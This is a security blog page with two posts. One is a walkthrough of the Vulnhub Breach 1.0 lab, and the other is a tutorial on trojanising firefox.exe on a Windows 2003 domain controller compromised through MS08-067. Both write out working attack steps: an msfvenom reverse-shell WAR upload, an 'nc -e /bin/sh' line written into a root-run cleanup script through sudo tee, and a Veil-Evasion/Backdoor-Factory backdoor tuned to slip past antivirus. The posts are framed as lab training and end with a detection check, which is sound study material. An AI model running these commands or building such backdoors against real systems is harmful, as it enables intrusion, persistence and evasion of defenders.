Vulnhub – Breach 1.0 boot2root CTF challenge Walkthrough

I was playing with Breach 1.0 recently and found it to be one of the most fun CTF systems to break into meant to be good for a beginner to intermediate hackers and the first in what will hopefully be an excellent multi-part series! Solving the boot2root challenge requires a combination of both information gathering and persistence for learning and this is my writeup.

First things first a bit of enumeration is needed to find out some intel and a quick nmap scan of the system with the following yields many results meaning something is clearly wrong!:

nmap -sS -Pn 192.168.110.140
“-sS” – TCP SYN
“-Pn” – Treat all hosts as online — skip host discovery

1_Breach_1.0_boot2root_CTF_nmap_scan

1_Breach_1.0_boot2root_CTF_nmap_scan

I noticed some weird output while running different nmap scans so created a little python script to see what was going on

#!/usr/bin/env python

import os

for i in range(1, 50):
os.system(“nc 192.168.110.140 ” + str(i))
print “”

A break down of the script:

#!/usr/bin/env python <– This will set the environment for python to run in regardless of where it is stored on your system.

import os <– This imports a module called “os” which will let us do some fun stuff with system commands.

for i in range(1, 50): <– Start of a for loop, i in this case has the values of the range 1 to 50 passed to it and will be used on the next line.

os.system(“nc 192.168.110.140” + str(i)) <– os.system is used to encapsulate nc with the ip address 192.168.110.140 plus the values 1,2,3,4,5 etc until it reaches 50

print “” <– I added this to make the output cleaner

This then gives me the following output which I thought was brilliant 🙂

2_Breach_1.0_boot2root_CTF_nc_trolling

2_Breach_1.0_boot2root_CTF_nc_trolling

Hmm lets connect to port 80 in the browser and see if there is a web page hosted

192.168.110.140:80

3_Breach_1.0_boot2root_CTF_web_page_port_80

3_Breach_1.0_boot2root_CTF_web_page_port_80

Excellent we have the company name Initech.

Bill Lumbergh and Peter Gibbons were performing analysis and containing the threat.

It appears like a disgruntled employee caused the breach.

Viewing the page source you can see some strange text in there:

view-source:http://192.168.110.140/

4_Breach_1.0_boot2root_CTF_web_page_source_code

4_Breach_1.0_boot2root_CTF_web_page_source_code

Weird base64?:

<!——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

The image is clickable and brings you to another page:

http://192.168.110.140/initech.html

5_Breach_1.0_boot2root_CTF_web_page_second_site

5_Breach_1.0_boot2root_CTF_web_page_second_site

Two images and an employee portal are now also accessible:

http://192.168.110.140/impresscms/user.php <– Impress CMS user portal

Looking at the image URI directories makes me feel there may be more in that images sub directory:

http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Dropping to /images

http://192.168.110.140/images/

We then get access to a few more images.

6_Breach_1.0_boot2root_CTF_website_images_directory

6_Breach_1.0_boot2root_CTF_website_images_directory

Now we have a few more images to look into and a troll GIF hahaha:

http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick list of all the images with cat:

cat > _images
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg

Created a quick for loop to then cycle through the list and pull them all down for me, the usage is similar to the python script above used for nc.

for i in $(cat _images); do wget $i; done

I then ran the strings command against all the images with a simple for loop, once again similar to the previous scripts. The only thing really different is the variable created called types storing the different image extensions to cycle through the current working directory:

#!/bin/bash

types=”*.png *.jpg *.gif”

for i in $types
do
$(strings $i >> string_output)
done

Looking through the outputted file “string_output” you find the textcomment “coffeestains”. Which I added to my word list and moved on as it might be useful later on in the challenge.

7_Breach_1.0_boot2root_CTF_image_strings

7_Breach_1.0_boot2root_CTF_image_strings

Looking at the string found earlier on the web page it turns out it’s double encoded in base64 without the trailing “=” at the end, once again a quick python script quickly solves this problem by importing the base64 module pushing the string into a variable encoded and then decrypting it by running base64.b64decode against it twice and printing the result:

#!/usr/bin/env python

import base64

encoded = (‘Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo’)

decrypted = base64.b64decode(base64.b64decode(encoded))

print decrypted

The following string is printed and it looks like a username and password combo:

pgibbons:damnitfeel$goodtobeagang$ta

Trying the credentials in the CMS platform they work and we get access to his inbox!

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

8_Breach_1.0_boot2root_CTF_CMS_portal_private_messages

Working from the bottom up through the emails

http://192.168.110.140/impresscms/readpmsg.php?start=0&total_messages=3

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

9_Breach_1.0_boot2root_CTF_CMS_private_message_keystore

http://192.168.110.140/impresscms/readpmsg.php?start=1&total_messages=3

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

10_Breach_1.0_boot2root_CTF_CMS_IDS_IPS_Message

http://192.168.110.140/impresscms/readpmsg.php?start=2&total_messages=3

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

11_Breach_1.0_boot2root_CTF_CMS_private_message_sensitive_content

We learn a few things from these emails:

1 – There is/was a keystore 192.168.110.140/.keystore Bob – Some sort of SSL Cert called Super Secret Cert Pro
2 – Email addresses: registrar@penetrode.com, bob@initech.com, admin@breach.local
3 – They bought a new IDS/IPS
4 – There is another user called Michael Bolton – http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
5 – Sensitive artifacts are stored in the admin portal and the password is apparently very secure

Lets pull the keystore first:

Pulling with the link mentioned does nothing

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

12_Breach_1.0_boot2root_CTF_keystore_bob_not_found

But, pulling just the keystore gets the file, move on and keep it for later

13_Breach_1.0_boot2root_CTF_keystore_download

13_Breach_1.0_boot2root_CTF_keystore_download

Lets try logging in as some of these users:

registrar@penetrode.com, bob@initech.com, admin@breach.local

admin and the string found in one of the images “coffeestains” works 🙂

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

14_Breach_1.0_boot2root_CTF_CMS_admin_profile

The URL is different logged in as the admin: http://192.168.110.140/impresscms/modules/profile/index.php?uid=1

Changing the uid=1 to 2 and 3 logs you in as the other users

Peter Gibbon’s Profile:

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

15_Breach_1.0_boot2root_CTF_CMS_Peter_Gibbons_profile

Michael Bolton’s Profile:

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

16_Breach_1.0_boot2root_CTF_CMS_Michael_Boltons_profile

New emails found
michael.bolton@initech.com & peter.gibbons@initech.com

Links:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3

Under the ImpressCMS Admin account in the content section you find a message saying Michael has configured artifacts and communications related to the breach on the portal.

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

17_Breach_1.0_boot2root_CTF_CMS_Private_message_secure_content

Looking at the link it looks similar to the uid=3 used previously instead this is content_id=3 and changing it jumps you into other areas to gather more information for your reconnaissance.

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

18_Breach_1.0_boot2root_CTF_CMS_Private_message_PCAP

Interesting here is that Peter Gibbons posted a PCAP file of a re-production of the attack. Something makes the file unreadable for him. Nmap is making it difficult to find the correct port so they can connect to it. The password for storepassword and keypassword are set to tomcat. Securely encrypted could be a hint that the keystore is the SSL certificate for unlocking the PCAP as the traffic is encrypted. This can also be linked to when logged in as Peter Gibbons.

Pulling down the PCAP with wget:
wget http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

19_Breach_1.0_boot2root_CTF_CMS_wget_PCAP

Using ngrep to quickly scan through the PCAP with ngrep -I _SSL_test_phase1.pcap

“-I” – simply tells ngrep to read from a file and not an interface

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

20_Breach_1.0_boot2root_CTF_ngrep_PCAP

Interesting here is the connection to 192.168.110.140:8443 a common apache port.

Next some kali IOC’s are detected

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

21_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_Kali_DNS

Nethunter and exploitdb domains are also egressed to

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

22_Breach_1.0_boot2root_CTF_ngrep_PCAP_continued_nethunter

Ngrep just for nethunter IOC’s  with

ngrep -i nethunter -I _SSL_test_phase1.pcap

Using the following ngrep command I searched for some User-Agent Strings which can be handy at times

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’ you can see some User-Agent Strings (UAS):

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

23_Breach_1.0_boot2root_CTF_ngrep_PCAP_User_Agent_String

I know there are some GET requests in there but can’t seem to pull them up with ngrep foo so I go to tcpick

tcpick -C -yP -r SSL_test_phase1.pcap

Apart from confirming what we already know (That 192.168.110.120 established a connection on port 8443 with the Initech server) I see nothing different and can’t manipulate the get requests

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

24_Breach_1.0_boot2root_CTF_tcpick_PCAP

I also ran
tcpdump -qns 0 -X -r SSL_test_phase1.pcap

and

tshark -r SSL_test_phase1.pcap

Which lead to what I was looking for the get requests!

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

25_Breach_1.0_boot2root_CTF_tshark_GET_requests_PCAP

We now have the following URI’s for 192.168.110.140:

/_M@nag3Me/html
/_M@nag3Me/images/asf-logo.gif
/_M@nag3Me/images/tomcat.gif
/favicon.ico
/cmd/
/cmd/cmd.jsp
/cmd/cmd.jsp?cmd=id

It look’s like a web shell was launched against the management interface with the /cmd/ URI structure

Playing around with tshark switches I find another possible URI

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

26_Breach_1.0_boot2root_CTF_tshark_SSL_GET_requests_PCAP

47 45 54 20 2f 5f 4d 40  6e 61 67 33 4d 65 2f 69  GET /_M@ nag3Me/i

That looks a bit strange

Also used the following tshark filters below and at this point I figured I might as well start the play with the keystore found earlier and see if it decrypts the traffic here.

tshark -r SSL_test_phase1.pcap -z “mgcp,rtd,ip.addr==192.168.110.140”
tshark -r SSL_test_phase1.pcap -z “follow,ssl,hex,1”

I got prompted for a password when I ran this so I used tomcat from earlier to gain access. With this cert it should make reading the PCAP easier and uncover some further information

keytool -list -v -keystore .keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

27_Breach_1.0_boot2root_CTF_keytool_list_keystore

Using keytool again we can use it to extract the key to a p12 cert

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

28_Breach_1.0_boot2root_CTF_keytool_extract_p12_certificate

Converting the file into a passwordless PEM file

openssl pkcs12 -in key.p12 -out keystore.pem

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

29_Breach_1.0_boot2root_CTF_openssl_p12_to_PEM

Exporting the private key only:

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

30_Breach_1.0_boot2root_CTF_openssl_PEM_extract_Private_key

Importing the p12 key into Wireshark so you can then see the SSL stream and follow it.

Importing it into Wireshark is as easy as Pressing CTRL + SHIFT + P or navigating to preferences –> Protocols –> SSL

Edit the RSA keylist with the following

192.168.110.140 8443 http /keyfile/dir tomcat

We can then see remnants of what look like a war file deployed on the apache management interface:

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

We also get the following URI’s of GIF’s which appear to contain nothing of interest

/_M@nag3Me/images/tomcat.gif
_M@nag3Me/images/asf-logo.gif

And what looks like more base64 in the form of an authorization against the management interface

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

31_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell

And what looks like more base64 in the form of an authorization against the management interface

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

32_Breach_1.0_boot2root_CTF_PCAP_analysis_Basic_Credentials

After all of this we learn that it appears as if a malicious war file was uploaded to the Apache server located on 192.168.110.140:8443 and was used to gain tomcat6 level access on the server

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

33_Breach_1.0_boot2root_CTF_PCAP_analysis_web_shell_executed_tomcat6_user_access

After this I decided to look inside the two GIF’s and had issues accessing the site due to the cipher suite in use, going into about:config and adding the string security.tls.insecure_fallback_hosts 192.168.110.140 did the trick

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

34_Breach_1.0_boot2root_CTF_Firefox_TLS_Fallback

Decoding the Basic Authorization above in the packet capture is as simple as running the following piece of python against the Basic Authorization string dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC. Similar to the previous double encoded base64 string this is much easier to decode.

35_Breach_1.0_boot2root_CTF_python_decode_base64

35_Breach_1.0_boot2root_CTF_python_decode_base64

Success

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

36_Breach_1.0_boot2root_CTF_python_decode_base64_credentials

tomcat:Tt\5D8F(#!*u=G)4m7zB

This might log us in on the apache server

Running nmap against the server on that port confirms it’s an Apache server

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

37_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8443

Running against port 8080 out of curiosity gave back a random perl script

root@stealth:~/Documents/Breach_Guide# nmap -sV -p8080 192.168.110.140

Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-27 23:26 IST
Nmap scan report for 192.168.110.140
Host is up (0.00020s latency).
PORT     STATE SERVICE     VERSION
8080/tcp open  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.12%I=7%D=7/27%Time=57993524%P=x86_64-pc-linux-gnu%r(NU
SF:LL,EC,”/bin/bash\t-c\t{perl,-e,\$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkV
SF:EXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcm
SF:VjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t\$_=\$ARGV\[0\];~s/SPACE/\\t/ig;ev
SF:al;\$_=\$ARGV\[1\];eval\(decode_base64\(\$_\)\);”);
MAC Address: 08:00:27:58:48:B1 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.32 seconds

Decoding the base64 in the above output resolves to:

print “PWNED\n” x 5 ; $_=`pwd`; print “\nuploading your home directory: “,$_,”… \n\n”;

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

38_Breach_1.0_boot2root_CTF_nmap_service_detection_port_8080

Login is successful to https://192.168.110.140:8443/_M@nag3Me/html with the credentials decoded from base64 🙂

Username: tomcat
password: Tt\5D8F(#!*u=G)4m7zB

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

39_Breach_1.0_boot2root_CTF_Apache_Portal_First_Login

Create a raw payload war file with msfvenom to get a reverse shell on the box

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

40_Breach_1.0_boot2root_CTF_Create_WAR_file_msfvenom

Upload the war file to the Apache breach server

41_Breach_1.0_boot2root_CTF_WAR_file_upload

41_Breach_1.0_boot2root_CTF_WAR_file_upload

Click on the deployed WAR file to visit it in the browser

42_Breach_1.0_boot2root_CTF_execute_WAR_file

42_Breach_1.0_boot2root_CTF_execute_WAR_file

You will receive what appears to be a blank page, navigating to this link however provides you with a reverse tcp reverse shell to the system

43_Breach_1.0_boot2root_CTF_WAR_file_executed

43_Breach_1.0_boot2root_CTF_WAR_file_executed

In order to get that reverse shell you need to set a simple nc listener running on port 443 (Or alternatively use msfconsole)

nc -lvp 443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

44_Breach_1.0_boot2root_CTF_nc_listener_port_443

Connection results in tomcat6 access similar to what was seen in the PCAP. Gaining a TTY shell can be leveraged with python:

python -c ‘import pty;pty.spawn(“/bin/bash”)’

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

45_Breach_1.0_boot2root_CTF_nc_reverse_shell_python_pty

Checking /etc/passwd for anything interesting

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

46_Breach_1.0_boot2root_CTF_cat_etc_passwd

Interesting accounts to take note of are milton and blumergh as there may be some password reuse. A bit of poking around first though finds the credentials in the configuration just used to login to the tomcat server.

cat /var/lib/tomcat6/conf/tomcat-users.xml

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

47_Breach_1.0_boot2root_CTF_tomcat_users_XML

Poking around the home directory there appears to be two user accounts on which correlate to the interesting accounts discovered earlier for milton and blumbergh, milton has a my_badge.jpg and a script in his home directory. Milton appears to have added blumbergh to the sudoers file which is interesting as he can run some scripts that don’t require a password.

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

48_Breach_1.0_boot2root_CTF_Milton_sudoers_script

The badge:

49_Breach_1.0_boot2root_CTF_Milton_badge

49_Breach_1.0_boot2root_CTF_Milton_badge

Checking for any hidden files there are a few but they cannot currently be accessed

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

50_Breach_1.0_boot2root_CTF_Milton_ls_lahrt

The same is seen in the blumbergh home folder

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

51_Breach_1.0_boot2root_CTF_Blumbergh_ls_lahrt

Trying blumbergh first with the password “coffeestains” was a success haha, all hail password reuse

52_Breach_1.0_boot2root_CTF_su_blumbergh

52_Breach_1.0_boot2root_CTF_su_blumbergh

Checking the .bash_history file of the blumbergh account shows a script was used in what looks like some sort of a cleanup folder

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

53_Breach_1.0_boot2root_CTF_Blumbergh_bash_history

Navigating to that directory shows a hacker evasion script 🙂 (This must be what keeps kicking me off the server)

54_Breach_1.0_boot2root_CTF_tidyup_script

54_Breach_1.0_boot2root_CTF_tidyup_script

The interesting thing here is that the /var/lib/tomcat6/webapps/swingline directory has some permissions which should allow scripts to run as tomcat6 every three minutes, this could allow a reverse nc shell to run every three minutes if we are lucky!

55_Breach_1.0_boot2root_CTF_stat_swingline

55_Breach_1.0_boot2root_CTF_stat_swingline

Running sudo -l as blumbergh shows Bill can run tee as he is added to the sudoers directory, tee can be used for writing to standard input and standard output 🙂

56_Breach_1.0_boot2root_CTF_sudo_l

56_Breach_1.0_boot2root_CTF_sudo_l

Lets create a quick netcat listener test script “script.sh” that can be ran as a test before the three minutes are up and it’s removed from the swingline directory (success):

echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh

Because we can run tee as root we can then use that script and echo it into the tidyup.sh script using tee!

cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

57_Breach_1.0_boot2root_CTF_nc_reverse_shells

A quick check the script has been modified:

cat /usr/share/cleanup/tidyup.sh

nc -e /bin/sh 192.168.110.23 443

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

58_Breach_1.0_boot2root_CTF_nc_reverse_shell_check

Disconnect again and set your listener of choice in motion and play the waiting game for the next three minutes

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

59_Breach_1.0_boot2root_CTF_nc_reverse_listener_running

Woohoo, root unlocked 🙂

60_Breach_1.0_boot2root_CTF_Flag_obtained

60_Breach_1.0_boot2root_CTF_Flag_obtained

Looking at flair.jpg it can be turned into base64 and easily transported off the system then decoded back into a JPG on the host system

base64 flair.jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

61_Breach_1.0_boot2root_CTF_Base64_flair_jpg

base64 -d flair > flair.jpg

“-d” is used for decoding

Opening it from the terminal then with xdg-open

xdg-open flair.jpg

I need to talk about your flair 🙂

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

62_Breach_1.0_boot2root_CTF_Base64_decode_flair_jpg

And that’s it, I could have delved further and looked at the mysql side of things but I didn’t need to start cracking hashes or manipulating tables to get to the end goal, there are probably other methods that will get you to root possibly even quicker but this worked for me and I’m happy with the end result. It’s a great challenge and you can download it here from the download mirror or from magnet torrent to give it a go yourself. It’s well worth it!

 

Backdooring Firefox with Veil-Evasion, Backdoor-Factory & Metasploit – Server 2003 MS08_067

In this scenario you have just compromised a Windows 2003 Domain Controller as it was unpatched for MS08_067. You don’t want to create a persistent backdoor on the target system as a vigilant administrator may see the anomaly and investigate. You are happy to wait for some time before you get a shell on the box again. The best bit is the administrator is on the box at the time so it arouses less suspicion and also allows you to spy on the administrator and see what they are doing.

What do you do?

Well you could do many things but what we will cover here is using a system application already installed on the system that we will modify with some shellcode and drop back on the target system creating a backdoor from an executable that is ran frequently on the target system and blends in with the traffic generated. Looking at the desktop shortcuts is an excellent way to see what is commonly used by the user of a system. Either that or they didn’t untick the shortcut box but in saying that there is a strong chance it will be ran in the near future if you are patient and willing to wait. Patience is the key.

I have been meaning to write about Backdoor-Factory for some time now as it’s quite cool, your executable is fully functional after it’s been modified and will continue to work like it did before without any issues if you execute the process of modifying the executable correctly that is. The other reason I wanted to write this was to show how easy it is to do something like this and why you need to scrutinize your downloads or executables, especially if they come from an unknown source like a torrent site for example. Even Altcoin executables have been targeted on forums where unsuspecting end users think they are downloading a reputable miner, when in fact it’s actually backdoored and stealing from them :-/

The combination of Veil-Evasion and Backdoor-Factory together however is an excellent combination for obfuscating your payload on a penetration test and will remain undetected by Anti-Virus as long as you don’t upload the executable file to VirusTotal, uploading the hash to check though is perfectly fine 😉

The point of this article is to not put all your trust in VirusTotal or your system Anti-Virus to confirm that something is clean.

The lab environment configured for this exploitation consists of the following systems:

1 – Pfsense <– Firewall

2 – Security Onion <– Monitoring & IDS

4 – Windows Server 2003 <– Domain Controller

5 – Kali <– Hack all the things

Trying this against production systems you are not authorized to attack will get you caught. You have been warned. Only do this to learn and generally have fun.

In this tutorial we will go through the following 7 steps below:

1 – Exploit a Windows 2003 Domain Controller with Metasploit (MS08_067).

2 – Check the shortcuts on the “All Users” desktop.

3 – Pull one of the executables from behind a shortcut on the desktop and backdoor it with Veil-Evasion using the Backdoor-Factory payload.

4 – Check the hash of the file against VirusTotal.

5 – Upload the backdoored executable to the target system.

6 – Configure a listener with Metasploit to receive the shell on the box when the shortcut is clicked.

7 – Be patient.

Kali Attacker = 192.168.1.102

Windows 2003 Domain Controller = 192.168.1.105

Let’s get to it 🙂

You’ve already done some reconnaissance with nmap and you know that the system is vulnerable to MS08_067 you then exploit the system with Metasploit’s msfconsole and gain a meterpreter shell on the Windows 2003 Domain Controller.

Msfconsole

use exploit/windows/smb/ms08_067_netapi

set rhost 192.168.1.105

exploit

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

1_Loading_msfconsole_exploiting_MS08_067_Windows_Server_2003

Check the IP address and the user you’re logged on as on the box:

“ifconfig” checks your IP and MAC address

“getuid” checks the user privilege you currently have on the box which is System 🙂

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

2_msfconsole_MS08_067_Windows_Server_2003_exploited_check_IP_and_username

Next, navigate the Windows 2003 directories on the system to locate the “All Users” profile and see what shortcuts are on the desktop.

cd C:\
ls
cd “Documents and Settings”
ls
cd “All Users”
ls

3_meterpreter_changing_directories_Windows_Server_2003

3_meterpreter_changing_directories_Windows_Server_2003

Continuing on

ls
cd Desktop
ls

At this point you will see the shortcuts for “All Users” and notice a shortcut for Mozilla Firefox (because you installed it). Leveraging this information there is a good chance someone will open the browser on the Server at some point and this is what we want. Alternatively system tools are an excellent choice also like the Sysinternals Suite of tools that often will exist on a Windows server. You could backdoor anything from files to installers to executables that are commonly used. Installers are another excellent way to pivot onto other boxes if there is a network share specifically holding installers for quick install on other systems as is often the case, hell you could even backdoor something that is pushed out via Group Policy and target a full Active Directory user base if the scope asks for the worst.

4_meterpreter_changing_directories_Windows_Server_2003_continued

4_meterpreter_changing_directories_Windows_Server_2003_continued

Navigate to the program files directory of Mozilla Firefox on the system as this is where the executable resides that is executed when the shortcut is clicked whether on the desktop or the Program Files directory from the Start Menu.

From the same meterpreter window run the following commands below

Cd “C:\\Program Files\\Mozilla Firefox”
ls | grep firefox.exe

Note the double backslash that needs to be passed as an escape when navigating the Windows directory using the meterpreter compared to the single backslash on a standard Windows console. The quotes are also important to encapsulate the string correctly as it has spaces similar to a Windows system.

Ls | grep firefox.exe is simply checking the contents of the Mozilla Firefox folder that you just changed into and piping it to grep to search for firefox.exe as this is the executable we are going to backdoor.

5_navigating_program_files_Mozilla_Firefox_checking_executable

5_navigating_program_files_Mozilla_Firefox_checking_executable

To download firefox.exe to your Kali system simply run the following from the meterpreter console

download firefox.exe

6_metasploit_meterpreter_download_firefox_exe

6_metasploit_meterpreter_download_firefox_exe

Now that you have the exact original version of the firefox executable on the target system you can backdoor it with Veil-Evasion, it does not come as standard with Kali but it is included in the repository so just run:

apt-get update
apt-get veil-evasion

Follow along with the prompts, they are pretty much self explanatory and you will soon have Veil-Evasion installed on your Kali system and ready to use in no time at all.

7_apt-get_update_and_apt-get_install_veil-evasion_

7_apt-get_update_and_apt-get_install_veil-evasion_

So next thing to do is run Veil-Evasion and get things moving along by running “list” to check the available payloads

8_veil_evasion_started_list

8_veil_evasion_started_list

Select option 18 for the native/backdoor_factory payload and press Enter to continue

9_veil_evasion_started_list_select_backdoor-factory_payload

9_veil_evasion_started_list_select_backdoor-factory_payload

Next you need to modify the backdoor-factory payload options from the default ones seen below

10_veil_evasion_backdoor-factory_payload_options

10_veil_evasion_backdoor-factory_payload_options

Modify the options to that of your local host IP address, local port, path of the original executable (firefox.exe), the patch method to manual and the reverse shell payload you want to use.

Set lhost 192.168.1.102
set lport 443
set original_exe /root/firefox.exe
set patch_method manual
set payload reverse_shell_tcp_inline

11_veil_evasion_backdoor-factory_payload_options_modified

11_veil_evasion_backdoor-factory_payload_options_modified

You can double check your predefined settings by running “info”

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

12_veil_evasion_backdoor-factory_payload_options_modified_check_info

Once your happy with the settings next you need to run “generate” in order to generate your payload and modify the firefox.exe file to include your reverse shell hidden in shell code. You will need to locate a cave to hide your shellcode in and I find doing this manually works better than letting Backdoor-Factory automatically do this for you. The trick is to find a cave that is bigger than your initial size which is 411 in this case. Option 1 is 472, Option 2 is 551 both of which are only a little bit bigger than the size you are trying to hide your shellcode in so option 3 with a size of 1184 is the best option and should work without any issues for the task at hand. If none of the cave sizes seem of use you can use j to jump and find more caves to use instead until you are happy.

Enter 3 and hit Enter to finish the process

13_veil_evasion_backdoor-factory_payload_generate

13_veil_evasion_backdoor-factory_payload_generate

This should run without issue like this

14_veil_evasion_backdoor-factory_payload_generate_option_selected

14_veil_evasion_backdoor-factory_payload_generate_option_selected

Next you will be prompted for your payload name, enter whatever you want but the payload is firefox so it makes sense to enter firefox for the name.

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

15_veil_evasion_backdoor-factory_payload_generate_enter_payload_name

Congratulations, you have just generated your payload. You’ll see the location of the payload file generated in the final output like the screenshot below

16_veil_evasion_backdoor-factory_payload_generated

16_veil_evasion_backdoor-factory_payload_generated

Before continuing it’s wise to check the hash on VirusTotal (not the actual executable as that will be flagged when analyzed). The hash however will not give any of the contents away and will likely remain undetected on the target system.

Change into the directory of the Virus Total Notify tool:

Cd /usr/share/veil-evasion/tools/vt-notify

Run the script with the “-s” option to check the file hash of your backdoored executable and you should see an output like the one below:

./vt-notify -s /var/lib/veil-evasion/output/compiled/firefox

17_veil_evasion_vt-notify_file_hash_check

17_veil_evasion_vt-notify_file_hash_check

Now that you know the hash is not flagged you can safely upload it back to the target system using the meterpreter shell from earlier and use the meterpreter upload command

upload /var/lib/veil-evasion/output/compiled/firefox.exe .

The dot (.) above tells upload to copy the file to the current directory which is the Mozilla Firefox program files directory we had opened earlier.

18_meterpreter_upload_firefox_backdoor

18_meterpreter_upload_firefox_backdoor

Next you need to setup a listener of your choosing but for this guide I will use Metasploits msfconsole to create the listener. At this point exit your current meterpreter session on the target system so that you are back at the msf > prompt.

Configure your listener

use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.1.102
set lport 443
exploit

19_msfconsole_reverse_tcp_shell_configuration

19_msfconsole_reverse_tcp_shell_configuration

Now go to your Windows 2003 Domain Controller and execute the firefox shortcut on the desktop and pop back to your meterpreter session and you should now see a connected shell on your target system in the C:\Program Files\Mozilla Firefox directory where we dropped the payload.

20_msfconsole_reverse_tcp_shell_connected

20_msfconsole_reverse_tcp_shell_connected

Checking the processes on the target system with the Sysinternals Process explorer you should see firefox.exe with a cmd.exe child process running.

21_Sysinternals_Process_Explorer_process_checking

21_Sysinternals_Process_Explorer_process_checking

Checking the TCP/IP connections currently running from the Firefox.exe process you will see your Kali remote IP address running over https port 443.

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

22_Sysinternals_Process_Explorer_process_checking_TCP_IP_connections

Looking at the image file I noticed it was a bit weird looking too. Not important just something weird I noticed.

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

23_Sysinternals_Process_Explorer_process_checking_Image_File_Weird

Checking the cmd.exe child process you will see that firefox.exe is the parent of cmd.exe which should never be the case!

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

24_Sysinternals_Process_Explorer_process_checking_cmd_exe

That’s it, check your Security Onion logs and see what you can determine happened. There is some interesting information in there too that warrants a closer look.

